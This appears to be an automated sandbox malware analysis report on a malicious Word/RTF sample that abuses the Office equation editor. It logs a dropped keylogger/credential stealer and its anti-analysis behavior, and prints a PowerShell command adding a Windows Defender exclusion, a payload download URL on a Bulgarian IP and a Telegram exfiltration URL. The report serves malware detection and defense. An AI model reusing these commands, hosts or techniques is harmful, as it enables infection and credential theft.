Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 240000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 2350000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 240000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 65B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 75B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 7730000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 8730000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 8DF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 9DF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: ADF0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 150000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 2530000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: 360000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2556 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3790 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Window / User API: threadDelayed 9250 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Window / User API: threadDelayed 569 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3276 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3472 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3448 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3660 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3572 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3644 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3688 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3688 Thread sleep time: -7200000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3692 Thread sleep count: 9250 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe TID: 3692 Thread sleep count: 569 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3784 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Memory written: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe "C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Queries volume information: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Queries volume information: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545180 Sample: na.doc Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 41 Initial sample is an obfuscated RTF file 2->41 43 Suricata IDS alerts for network traffic 2->43 45 Found malware configuration 2->45 47 24 other signatures 2->47 8 WINWORD.EXE 291 18 2->8         started        process3 file4 27 C:\Users\user\Desktop\~$na.doc, data 8->27 dropped 11 EQNEDT32.EXE 11 8->11         started        16 EQNEDT32.EXE 8->16         started        process5 dnsIp6 39 87.120.84.38, 49161, 80 SHARCOM-ASBG Bulgaria 11->39 29 C:\Users\user\...\cdlpohayugo39567.exe, PE32 11->29 dropped 31 C:\Users\user\...\qHbynE8Vgwabsy3[1].exe, PE32 11->31 dropped 67 Office equation editor establishes network connection 11->67 69 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->69 18 cdlpohayugo39567.exe 3 11->18         started        file7 signatures8 process9 signatures10 49 Multi AV Scanner detection for dropped file 18->49 51 Machine Learning detection for dropped file 18->51 53 Adds a directory exclusion to Windows Defender 18->53 55 Injects a PE file into a foreign processes 18->55 21 cdlpohayugo39567.exe 12 2 18->21         started        25 powershell.exe 4 18->25         started        process11 dnsIp12 33 reallyfreegeoip.org 21->33 35 api.telegram.org 21->35 37 9 other IPs or domains 21->37 57 Installs new ROOT certificates 21->57 59 Tries to steal Mail credentials (via file / registry access) 21->59 61 Tries to harvest and steal browser information (history, passwords, etc) 21->61 signatures13 63 Tries to detect the country of the analysis system (by using the IP) 33->63 65 Uses the Telegram API (likely for C&C communication) 35->65
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 checkip.dyndns.com United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
87.120.84.38
 unknown Bulgaria
51189 SHARCOM-ASBG true
193.122.6.168
 unknown United States
31898 ORACLE-BMC-31898US false
188.114.96.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
193.122.130.0
 unknown United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.96.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.8.169 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/173.254.250.78 false
    		unknown
    http://checkip.dyndns.org/ false
    • URL Reputation: safe
    		 unknown
    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20and%20Time:%2010/30/2024%20/%2010:40:52%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20960781%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		unknown
      http://87.120.84.38/txt/qHbynE8Vgwabsy3.exe true
        		unknown